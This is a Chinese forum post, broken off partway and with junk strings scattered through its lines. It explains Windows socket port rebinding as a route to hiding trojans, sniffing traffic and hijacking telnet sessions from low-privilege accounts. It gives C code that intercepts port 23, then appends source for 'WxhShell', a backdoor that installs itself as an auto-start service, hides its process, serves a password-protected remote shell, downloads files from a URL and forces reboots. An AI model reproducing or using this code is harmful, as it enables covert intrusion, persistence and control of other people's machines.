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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _BJ:GDz>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3!gz^[!?EN  
JU^Y27  
  saddr.sin_family = AF_INET; qp6'n&^&  
U2<q dknB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XIbxi  
H7&y79mB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `Kf@<=  
&`n:AR`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R$ +RTG:E  
?;`GCE  
  这意味着什么?意味着可以进行如下的攻击: ~zac.:a8  
kJf0..J[#<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D3dh,&KO\  
">t^jt{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .U|'KCM9m  
[9Rh"H;h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fcF|m5  
zNKB'hsK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  iZdl0;16[  
2INpo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YQ?hAAJ  
GiuE\J9i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M$ieM[_T  
5p!{#r6m  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E8sM`2z5  
Z'k?lkB2i  
  #include T>| hID  
  #include M=;csazN  
  #include = E_i  
  #include    ETL7|C"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P8dMfD*"E  
  int main() RbxQTM_:M  
  { fmv:vs /9  
  WORD wVersionRequested; }6%\/d1~ 6  
  DWORD ret; t-C|x)J+  
  WSADATA wsaData; ]Bf1p  
  BOOL val; r-EIoZ"P  
  SOCKADDR_IN saddr; Y)]VlV!`  
  SOCKADDR_IN scaddr; C/N;4  
  int err; [O_5`X9|  
  SOCKET s; wAi7jCY%OY  
  SOCKET sc; (&Q!5{$W  
  int caddsize; y,&[OrCm^\  
  HANDLE mt; &4WA/'>R  
  DWORD tid;   vD9.X}l]  
  wVersionRequested = MAKEWORD( 2, 2 ); 'J &R=MD  
  err = WSAStartup( wVersionRequested, &wsaData ); jA:'P~`Hj  
  if ( err != 0 ) { P(8Yz W  
  printf("error!WSAStartup failed!\n"); vS5}OV  
  return -1;  }E(w@&  
  } (_}q>3  
  saddr.sin_family = AF_INET; B:v_5e\f@  
   !F}GSDDV*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?F[_5ls|]  
JLWm9c+UTG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6%6dzZ  
  saddr.sin_port = htons(23); X!z-J>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~1*37w~  
  { |*zgX]-+;  
  printf("error!socket failed!\n"); HX| p4-L  
  return -1; r]\[G6mE%  
  } JiXE{(  
  val = TRUE; P6>C+T1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qlPIxd  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cL4Go,)w  
  { S m=ln)G=  
  printf("error!setsockopt failed!\n"); _ti^i\8~  
  return -1; X}3?k<m  
  } v:74iB$i/C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RLQ*&[A}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s1Wn.OGR4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6 A]a@,PC  
3*%+NQIj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) RfvvX$  
  { 5X];?(VTsb  
  ret=GetLastError(); Px?"5g#+  
  printf("error!bind failed!\n"); 1nvT={'R  
  return -1; [Pp#r&4H  
  } *!`&+w  
  listen(s,2); +[n#{;]<  
  while(1) v.:Q& ]  
  { `/R. 5;$|  
  caddsize = sizeof(scaddr); z$m(@Q  
  //接受连接请求 E,?IIRg&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zp f<!x^  
  if(sc!=INVALID_SOCKET) Wy6a4oY  
  { 4`oKvL9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =(TMcu$4`  
  if(mt==NULL) ckP AH E@  
  { .HY,'oC.  
  printf("Thread Creat Failed!\n"); It/'R-H  
  break; 7W4m&+  
  } M9Sj@ww  
  } |p*cI @  
  CloseHandle(mt); X_ Lt{mf  
  } d<OdQvW.  
  closesocket(s); qu $FpOJ  
  WSACleanup(); 94 6r#`q  
  return 0; .%W.uF^  
  }   45%D^~2~F  
  DWORD WINAPI ClientThread(LPVOID lpParam) M"K$.m@t  
  { d<=!*#q;o  
  SOCKET ss = (SOCKET)lpParam; /03 Wst  
  SOCKET sc; P>~Usuf4  
  unsigned char buf[4096]; @Bkg<  
  SOCKADDR_IN saddr; RlvvO  
  long num; T&S=/cRBK}  
  DWORD val; ^e]O >CJ  
  DWORD ret; #>~A-k)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w-km qh  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^zqQ8{oV  
  saddr.sin_family = AF_INET; Kt]vTn7!9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z{#3-O<a+n  
  saddr.sin_port = htons(23); [\Aws^fD_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [Ax :gj  
  { n3U| d+  
  printf("error!socket failed!\n");  4J=6U&b  
  return -1; JCZ&TK  
  } 69ycP(  
  val = 100; 9w&CHg7D i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dW5r]D[Cx  
  { u0?TMy.%  
  ret = GetLastError(); Jz&dC  
  return -1; 0%\fm W j  
  } }4c$_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0?I  
  { Xooh00  
  ret = GetLastError(); # E8?2]  
  return -1; +W-b3R:1>  
  } jL 3 *m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wLO"[,  
  { D"fjk1  
  printf("error!socket connect failed!\n"); k{Y\YG%b  
  closesocket(sc); $OGMw+$C ^  
  closesocket(ss); @#o 7U   
  return -1; n@C#,v#^0  
  } 1UrkDz?X  
  while(1) 91a);d  
  { f<<$!]\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p ~+sk1[.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l% %cU"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7:$dl #  
  num = recv(ss,buf,4096,0); 4RQ38%> >j  
  if(num>0) 3|3ad'  
  send(sc,buf,num,0); B<@a&QBTg  
  else if(num==0) MScUrW!TA  
  break; v33[Rk'  
  num = recv(sc,buf,4096,0); Fo ,8"m  
  if(num>0)  _ qQ  
  send(ss,buf,num,0); NFur+zwv  
  else if(num==0) Vj)"?|V  
  break; \0qFOjVj  
  } & }"I!  
  closesocket(ss); [5b[ztN%  
  closesocket(sc); 0U.Ld:  
  return 0 ; Fgh an.F  
  } EjEXev<]  
RdpOj >fT  
NLgeBLB  
========================================================== > -fXn  
`C6,**`R$k  
下边附上一个代码,,WXhSHELL K_N`My  
 NY[48H  
========================================================== F[v^43-^_  
yM-%x1r ~  
#include "stdafx.h" VWCC(YRU|$  
;gRPTk$X3  
#include <stdio.h> >u .u#de  
#include <string.h> >Bm>/%2  
#include <windows.h> $'a]lR  
#include <winsock2.h> lL'K1%{+ \  
#include <winsvc.h> ^ilgd  
#include <urlmon.h> 2v*X^2+  
1o   
#pragma comment (lib, "Ws2_32.lib") AMK3I`=8WO  
#pragma comment (lib, "urlmon.lib") N=8CVI  
p1z^i(  
#define MAX_USER   100 // 最大客户端连接数 QX(t@VP  
#define BUF_SOCK   200 // sock buffer k.Z?BNP  
#define KEY_BUFF   255 // 输入 buffer !) d  
*9r 32]i;  
#define REBOOT     0   // 重启 G%%F6)W  
#define SHUTDOWN   1   // 关机 ,zBc-Cm  
d _=44( -  
#define DEF_PORT   5000 // 监听端口 c8cGIAOY)  
UyNP:q:  
#define REG_LEN     16   // 注册表键长度 .e S* F  
#define SVC_LEN     80   // NT服务名长度 )B5U0iIi  
KZ [:o,jp>  
// 从dll定义API Tl^)O^/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g87M"kQKA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D sBZ%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "1ZVuI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kN vNV(4  
<|a9r: [  
// wxhshell配置信息 B8V85R  
struct WSCFG { 57U;\L;ZmZ  
  int ws_port;         // 监听端口 q1%xk =8  
  char ws_passstr[REG_LEN]; // 口令  $)(Zt^  
  int ws_autoins;       // 安装标记, 1=yes 0=no KH[Oqd  
  char ws_regname[REG_LEN]; // 注册表键名 3SOrM  
  char ws_svcname[REG_LEN]; // 服务名 LkXF~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `[f IK,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -n$hm+S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7q^a@5f BG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xSjs+Y;Mu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sQY0Xys<4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Bq \WG=Fd  
/9C>{29x!  
}; jATN):8W  
4+0:(=>[%  
// default Wxhshell configuration B|BJkY'  
struct WSCFG wscfg={DEF_PORT, W4AFa>h  
    "xuhuanlingzhe", z#olKBs  
    1, DTx>^<Tk  
    "Wxhshell", O@KAh5EB  
    "Wxhshell", A Rjox`  
            "WxhShell Service", IAbH_+7O  
    "Wrsky Windows CmdShell Service", sVIw'W  
    "Please Input Your Password: ", \OF"hPq  
  1, 2wZyUB;  
  "http://www.wrsky.com/wxhshell.exe", !2]G.|5/A  
  "Wxhshell.exe" s.@DI|Gnf  
    }; Cx`?}A\%  
T(eNK c2  
// 消息定义模块 }nNCgH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r6`KZ TU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,tOc+3Qz$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Pexg"328  
char *msg_ws_ext="\n\rExit."; 9=MxuBl  
char *msg_ws_end="\n\rQuit."; =)XC"kU p  
char *msg_ws_boot="\n\rReboot..."; c< g{ &YJ  
char *msg_ws_poff="\n\rShutdown..."; N%QVkuCbM  
char *msg_ws_down="\n\rSave to "; 5A"OL6ty  
@X0$X+]E*8  
char *msg_ws_err="\n\rErr!"; '[Ch8Yf\  
char *msg_ws_ok="\n\rOK!"; 6rzXM`cs  
&1Idv}@!  
char ExeFile[MAX_PATH]; ais"xm<V  
int nUser = 0; / CVhvK  
HANDLE handles[MAX_USER]; A! !W\Jt  
int OsIsNt; 5ayH5=(t  
5?4jD]Z  
SERVICE_STATUS       serviceStatus; Y[ toN9,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d+Jj4OnP  
Ea[K$NC)#  
// 函数声明 OX)[?1m8  
int Install(void); pWXoJ0N  
int Uninstall(void); o%=OBTh_   
int DownloadFile(char *sURL, SOCKET wsh); =P<7tsSuoK  
int Boot(int flag); N;]"_"  
void HideProc(void); [CJr8Qn  
int GetOsVer(void); ,v+~vXO&\  
int Wxhshell(SOCKET wsl); ojZvgF  
void TalkWithClient(void *cs); ]l4# KI@  
int CmdShell(SOCKET sock); ^iaG>rvA  
int StartFromService(void); zHvG3Ed@  
int StartWxhshell(LPSTR lpCmdLine); t#6@~49  
7LY4q/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %) 8 UyZG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c)OQ_3xOs  
li?RymlF  
// 数据结构和表定义 xA>O4S D  
SERVICE_TABLE_ENTRY DispatchTable[] = INj2B@_  
{ VdV18-ea  
{wscfg.ws_svcname, NTServiceMain}, I&O}U|l06  
{NULL, NULL} t LZ4<wc  
}; + \AiUY  
)a%kAUNj  
// 自我安装 |+Fko8-  
int Install(void) .. xg4V/  
{ 2'zYrdem  
  char svExeFile[MAX_PATH]; {m/h3hjFa  
  HKEY key; y9OxPq.Cy  
  strcpy(svExeFile,ExeFile); IMDGinHAy  
jKI0d+U  
// 如果是win9x系统,修改注册表设为自启动 n2$(MDdL`  
if(!OsIsNt) { 3;6Criq}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n$fYgZKn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >Hq)1o  
  RegCloseKey(key); 4iiW{rh4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QFm~wv 8:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #sK:q&/G`  
  RegCloseKey(key); MwN.Ll  
  return 0; 3~7X2}qU  
    } t_PAXj  
  } G92Ya^`  
} nmn 8Y V1  
else { R7 )2@;i  
oyS43/."  
// 如果是NT以上系统,安装为系统服务 WML%yO\.;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "r Bb2.  
if (schSCManager!=0) \/Z?QBFvz  
{ ep- ~;?  
  SC_HANDLE schService = CreateService al9L+ruR  
  ( $s*\yam?|  
  schSCManager, %4/>7 aB]Y  
  wscfg.ws_svcname, O|opNr  
  wscfg.ws_svcdisp, [nO\Q3c|@$  
  SERVICE_ALL_ACCESS, Ungex@s_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4PwjG;!K  
  SERVICE_AUTO_START, c5& _'&  
  SERVICE_ERROR_NORMAL, QN!$41A?{  
  svExeFile, y Q_lJIX  
  NULL, u/5 ^N^@^  
  NULL, ^Gc#D:zU  
  NULL, .]_ (>^6  
  NULL, tCFXb6Cz  
  NULL iB  =R  
  ); Q{ibH=^  
  if (schService!=0) nwOT%@nw  
  { D\}A{I92F4  
  CloseServiceHandle(schService); 66G$5  
  CloseServiceHandle(schSCManager); U,?[x2LF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H B}!Lf#*P  
  strcat(svExeFile,wscfg.ws_svcname); h/7m.p]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |;XkU`G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vN`2KCl~3  
  RegCloseKey(key); 8ug\GlZc  
  return 0; <6_RWtU  
    } aNX M~;5~  
  } 8[zux4<m  
  CloseServiceHandle(schSCManager); MlDWK_y_&  
} t u )kWDk  
} 8U98`# i  
yMdE[/+3  
return 1; R!mFMw"  
} v1s.j2T  
hRU.^Fn#%  
// 自我卸载 ~C|. .Z  
int Uninstall(void) 8.9Z0  
{ PBXRey7>D  
  HKEY key; nH6Ny  
&!|'EW  
if(!OsIsNt) { fwe4f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O] T'\6w  
  RegDeleteValue(key,wscfg.ws_regname); P;.j5P^j`  
  RegCloseKey(key); *] H8X=[x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e XB'>#&s  
  RegDeleteValue(key,wscfg.ws_regname); sqtMhUQ?>w  
  RegCloseKey(key); cym<uh-Wg^  
  return 0; U3R;'80 f  
  } M0+xl+c+  
} us/}_r74N*  
} p\A!"KC  
else { PV[ Bqt  
_,,w>q6K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {5%u G2g  
if (schSCManager!=0) 36 &ghx  
{ V7+fNr]I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 41Y1M]`=  
  if (schService!=0) ~pv|  
  { zWN<"[agc  
  if(DeleteService(schService)!=0) { [&Yrnkgr  
  CloseServiceHandle(schService); z( 00"ei  
  CloseServiceHandle(schSCManager); e}xx4mYo  
  return 0; %QYH]DR  
  } 7?U)V03  
  CloseServiceHandle(schService); (:g ZZG  
  } -2o_ L?  
  CloseServiceHandle(schSCManager); , QB]y|:  
} yYdow.b!  
} I34|<3t$  
k H.e"e  
return 1; (D<_ iV  
}  @mD$Z09~  
z^FJ  
// 从指定url下载文件 *!m\%*y{  
int DownloadFile(char *sURL, SOCKET wsh) }wIF$v?M  
{ }!`_Bz:  
  HRESULT hr; _spW~"|G  
char seps[]= "/"; oAxRI+&|.  
char *token; j*6>{_[  
char *file; @'~7O4WH  
char myURL[MAX_PATH]; +~7x+6E  
char myFILE[MAX_PATH]; _;!$1lM[  
ns&3Dh(IVP  
strcpy(myURL,sURL); znkc@8_4  
  token=strtok(myURL,seps); 75"&"*R/*G  
  while(token!=NULL) k9*6`w  
  { L!c.1Rf_  
    file=token; 9<|nJt  
  token=strtok(NULL,seps); Bo4MoSF}  
  } f;`7}7C  
Y(/y,bJ?jp  
GetCurrentDirectory(MAX_PATH,myFILE); <9/?+)  
strcat(myFILE, "\\"); v[b|J7k  
strcat(myFILE, file); N|3a(mtiZ'  
  send(wsh,myFILE,strlen(myFILE),0); _g]h \3  
send(wsh,"...",3,0); wqasI@vyu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tt03 gU`  
  if(hr==S_OK) ww5UQs2sn  
return 0; BGrV,h^  
else n|'}W+  
return 1; :5-t$^R  
MFtC2*  
} *v:o`{vM[  
q |Orv =v  
// 系统电源模块 <"z9(t(V\%  
int Boot(int flag) g/W&Ap;qVL  
{ 6sQY)F7p  
  HANDLE hToken; \!Wph5wA  
  TOKEN_PRIVILEGES tkp; Qm)c!  
68()2v4X  
  if(OsIsNt) { ,R7RXpP7t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y;VmA#k`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ] A,Og_g  
    tkp.PrivilegeCount = 1; `OHdo$Y9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CP LsSv5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k&pV`.Imi  
if(flag==REBOOT) { b" kL)DL1L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .|/VD'xV"  
  return 0; C4|H 5H  
} +<^c2diX  
else { S.*.nv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q\d/-K  
  return 0; p&lT! 5P!A  
} N 8pzs"  
  } 3z!^UA>q  
  else { (BZd%!  
if(flag==REBOOT) { '=(@3ggA:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I6Oc`S!L  
  return 0; t|v_[Za}Z  
} ) B[S4K2  
else { .tzQ hd>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B18?)LA  
  return 0; nzl3<Ar  
} a!mdL|eA@  
} qR^i5JH}u  
ngl8) B  
return 1; _MzdbUb5,  
} 7KZ>x*o  
7DB!s@"  
// win9x进程隐藏模块 DX<xkS[P  
void HideProc(void) 1V;m8)RF  
{  m8z414o  
%VGQ{:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &h?8yV4B  
  if ( hKernel != NULL ) iYl{V']A  
  { Y@'ahxF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Kc {~Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); giu8EjzK  
    FreeLibrary(hKernel); v$EgVc K  
  } l1D"*J 2`  
oU)HxV  
return; 8@BN6  
} RRJN@|"  
IK|W^hH\8  
// 获取操作系统版本 C:P.+AU"`  
int GetOsVer(void) W=?s-*F[~  
{ Y%YPR=j~ &  
  OSVERSIONINFO winfo; R\>=}7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KGsW*G4U=  
  GetVersionEx(&winfo); U?yKwH^{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /r mm@  
  return 1; Avo"jN*<d  
  else n Y=]KU  
  return 0; I cz) Qtg|  
} Czt>?8x`  
UZ3oc[#D=]  
// 客户端句柄模块 l@nG?l #  
int Wxhshell(SOCKET wsl) \:d|'r8OCM  
{ 2ZZF hj  
  SOCKET wsh; x2 m A  
  struct sockaddr_in client; qC$h~Epp4  
  DWORD myID; 4@ =l'Fw  
` B71`  
  while(nUser<MAX_USER) 6$"0!fl>  
{ ]WP[hF  
  int nSize=sizeof(client); eWwI@ASaA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xDTDfhA  
  if(wsh==INVALID_SOCKET) return 1; <-m?l6  
tx01*2]pX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7K}Sk  
if(handles[nUser]==0) V;t8v\  
  closesocket(wsh); )4/227b/(  
else p?+*R@O  
  nUser++; +x"cWOg  
  } [MVG\6Up(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pX/,s#dY>  
^9PB+mz  
  return 0; :D!}jN/)  
} nkvkHh  
Z )f\^  
// 关闭 socket W2\ Q-4D  
void CloseIt(SOCKET wsh) }v?_.MtS  
{ 0/Wo":R:  
closesocket(wsh); hWqI*xSaJ  
nUser--; yxU??#v|g  
ExitThread(0); iSz?V$}?  
} I%<,JRAV  
(1my9k5C  
// 客户端请求句柄 dJ0qg_ U&  
void TalkWithClient(void *cs) h#iFp9N  
{ ,/P)c*at5  
^7l^ /GSO  
  SOCKET wsh=(SOCKET)cs; Ni4*V3VB  
  char pwd[SVC_LEN]; v<qiu>sbz}  
  char cmd[KEY_BUFF]; 5%E.UjC  
char chr[1]; 9 O/l{  
int i,j; ^?3e?Q?  
:U7m@3czU  
  while (nUser < MAX_USER) { {} 11U0  
;f8$vW ];  
if(wscfg.ws_passstr) { "/-T{p;.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8v)PDO~D}A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K(M@#t1_&  
  //ZeroMemory(pwd,KEY_BUFF); '"=Mw;p  
      i=0; >{dj6Wo  
  while(i<SVC_LEN) { t,2Q~ied=  
#iot.alNA  
  // 设置超时 ;uC +5g`  
  fd_set FdRead; Ih!D6  
  struct timeval TimeOut; nPj+mg  
  FD_ZERO(&FdRead); DNy1} 3wg  
  FD_SET(wsh,&FdRead); N8>;BHBV!  
  TimeOut.tv_sec=8; n./onv  
  TimeOut.tv_usec=0; W_zAAIY_Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 79>8tOuo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?V}AwLX}  
I+Q`i:\,q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -k19BDJ,W  
  pwd=chr[0]; Ij_VO{]G'l  
  if(chr[0]==0xd || chr[0]==0xa) { ?'_Q^O>  
  pwd=0; #egP*{F   
  break; h%Nbx:vKk  
  }  psg}sl/  
  i++; Hset(-=X  
    } 'ErtiD  
bm{L6D E  
  // 如果是非法用户,关闭 socket 6' M"-9?G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }xl @:Qo  
} Z' 0Gd@/  
G B+U>nf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _BcYS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7^bO`  
KB,!s7A  
while(1) { ;mXr])J  
>mT< AQ  
  ZeroMemory(cmd,KEY_BUFF); \jdpL1  
{)eV) 2a  
      // 自动支持客户端 telnet标准   13]sZ([B%|  
  j=0; 4"e7 43(  
  while(j<KEY_BUFF) { >9f-zv(n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B 0%kq7>g  
  cmd[j]=chr[0]; 7oPBe1P,K+  
  if(chr[0]==0xa || chr[0]==0xd) { `@{qnCNQ  
  cmd[j]=0; H ~c+L'=  
  break; ~BVg#_P  
  } |52VHW8 c  
  j++; %S22[;v{N  
    } GA6)O-^G  
nTSGcMI  
  // 下载文件 %D z|p]49!  
  if(strstr(cmd,"http://")) { %ma1LN[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XcA4EBRj  
  if(DownloadFile(cmd,wsh)) @:i>q$aF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J=/|iW  
  else j0sR]i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); apUV6h-v  
  } mp~\ioI*d  
  else { ushQWP)  
t=~5 I >  
    switch(cmd[0]) { nTj Q4y  
  -t % .I=|  
  // 帮助 Dj>.)n  
  case '?': { H BmjB=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AKM\1H3U  
    break; &adKKYN  
  } hHoc7  
  // 安装 il-v>GJU7{  
  case 'i': { T7n;Bf  
    if(Install()) K/Axojo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G7C9FV bR  
    else +v&+8S`+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nF}]W14x  
    break; 4;|&}Ij  
    } Arz> P@EQ  
  // 卸载 J?5O 2n  
  case 'r': { _'Q}Y nEv  
    if(Uninstall()) 0;OpT0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f7XmVCz1  
    else 2P9hx5PiV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $,icKa   
    break; 9F k wtF  
    } dOqwF iO  
  // 显示 wxhshell 所在路径 ~@R=]l"  
  case 'p': { %@*diJ  
    char svExeFile[MAX_PATH]; hdN3r{  
    strcpy(svExeFile,"\n\r"); \u,hS*v0  
      strcat(svExeFile,ExeFile); uZId.+Rk  
        send(wsh,svExeFile,strlen(svExeFile),0); g}' "&Y  
    break; LP_ !g  
    } RXgi>Hz  
  // 重启 sJ?Fque  
  case 'b': { 9ZG.%+l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xgJ2W_  
    if(Boot(REBOOT)) W ;IvR   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z/hSH 0(~  
    else { R^dAwt`.D  
    closesocket(wsh); 2hf]XV\  
    ExitThread(0); f? [y-  
    } y S7[=S  
    break; Ik=KEOz  
    } I2|iqbX40Q  
  // 关机 ~oT0h[<  
  case 'd': { "S#0QH%5  
